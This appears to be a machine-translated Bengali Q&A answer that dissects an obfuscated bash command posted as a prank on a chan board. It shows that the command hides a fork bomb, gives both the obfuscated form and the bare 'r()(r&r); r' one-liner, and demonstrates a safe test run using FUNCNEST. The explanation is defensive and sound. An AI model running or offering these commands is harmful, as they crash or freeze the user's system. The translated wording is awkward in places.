প্রথমে পুরো কমান্ডটি দেখুন:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
এটিতে একটি ডাবল-কোটেড স্ট্রিং রয়েছে যা প্রতিধ্বনিত হয় uudecode
। তবে, নোট করুন, ডাবল-কোটড স্ট্রিংয়ের মধ্যে একটি ব্যাক-কোটেড স্ট্রিং থাকে। এই স্ট্রিং কার্যকর করা হয় । স্ট্রিংটি হ'ল:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
এটিতে কী রয়েছে তা যদি আমরা লক্ষ্য করি তবে আমরা তিনটি আদেশ দেখতে পাই:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
মিডল কমান্ডের উপর ব্রেস প্রসারণ সম্পাদন করা , আমাদের রয়েছে:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
প্রথম লাইনটি ব্যাকগ্রাউন্ডে একটি আজেবাজে কমান্ড চালানোর চেষ্টা করে। এটি গুরুত্বহীন।
দ্বিতীয় লাইনটি গুরুত্বপূর্ণ: এটি একটি ফাংশন সংজ্ঞায়িত করে r
যা চালিত হওয়ার পরে নিজের দুটি অনুলিপি চালু করে। এই প্রতিলিপিগুলির প্রত্যেকটি অবশ্যই আরও দুটি অনুলিপি চালু করবে। ইত্যাদি।
r
কাঁটা বোমা শুরু করে তৃতীয় লাইনটি চলে runs
বাকী কোডটি, ব্যাক-কোট করা স্ট্রিংয়ের বাইরে, অবলম্বনের জন্য কেবল বাজে কথা।
কীভাবে নিরাপদে কমান্ড চালানো যায়
যদি আমরা ফাংশন নেস্টিং স্তরের সীমা নির্ধারণ করি তবে এই কোডটি নিরাপদে চালানো যেতে পারে। এটি ব্যাশের FUNCNEST
ভেরিয়েবলের সাহায্যে করা যেতে পারে । এখানে, আমরা এটি সেট করেছি 2
এবং এটি পুনরাবৃত্তি থামিয়ে দেয়:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
উপরের ত্রুটি বার্তাগুলি দেখায় যে (ক) ননসেন্স কমান্ডগুলি পাওয়া যায় rYWdl
এবং Y29j
পাওয়া যায় না, (খ) কাঁটা বোমা বার বার FUNCNEST দ্বারা বন্ধ হয়ে যায়, এবং (গ) এর ফলাফল আউটপুট echo
শুরু হয় না begin
এবং ফলস্বরূপ, এর জন্য বৈধ ইনপুট হয় না uudecode
।
কাঁটা বোমাটি তার সহজতম আকারে
কাঁটাচামচ বোমাটি কেমন লাগবে যদি আমরা অস্পষ্টতা সরিয়ে ফেলি? Njzk2 এবং জীবাণুর পরামর্শ অনুসারে, এটি দেখতে দেখতে এমন হবে:
echo "`r()(r&r);r`"
আমরা আরও সহজ করতে পারেন:
r()(r&r); r
এটি দুটি বিবৃতি নিয়ে গঠিত: একটি কাঁটাচামচ-ফাংশন r
এবং দ্বিতীয় রান সংজ্ঞায়িত করে r
।
পাইপ সহ অন্যান্য সমস্ত কোড uudecode
কেবল অস্পষ্টতা এবং ভুল নির্দেশনার জন্য ছিল।
মূল ফর্মটিতে ভুল দিকনির্দেশের আরও একটি স্তর ছিল
ওপি চ্যান বোর্ড আলোচনার একটি লিঙ্ক সরবরাহ করেছে যার ভিত্তিতে এই কোডটি উপস্থিত হয়েছিল। সেখানে উপস্থাপিত হিসাবে, কোডটি দেখতে এমন দেখাচ্ছে:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
এই কোড সম্পর্কে প্রথম মন্তব্যগুলির মধ্যে একটি নোটিশ করুন:
আমি এর জন্য পড়ে গেলাম। প্রতিধ্বনিত হয় এবং ডিকোড করে কেবল সেই অংশটি অনুলিপি করেছে তবে এখনও কাঁটাচামচা হয়ে গেছে
চ্যান বোর্ডের ফর্মটিতে, কেউ একজন নির্লজ্জভাবে ভাববেন যে সমস্যাটি eval
আউটপুটটিতে পরিচালিত বিবৃতি হবে uudecode
। এটি একজনকে ভাবতে পরিচালিত করবে যে অপসারণ eval
করলে সমস্যার সমাধান হবে। আমরা উপরে দেখেছি, এটি মিথ্যা এবং বিপজ্জনকভাবে তাই।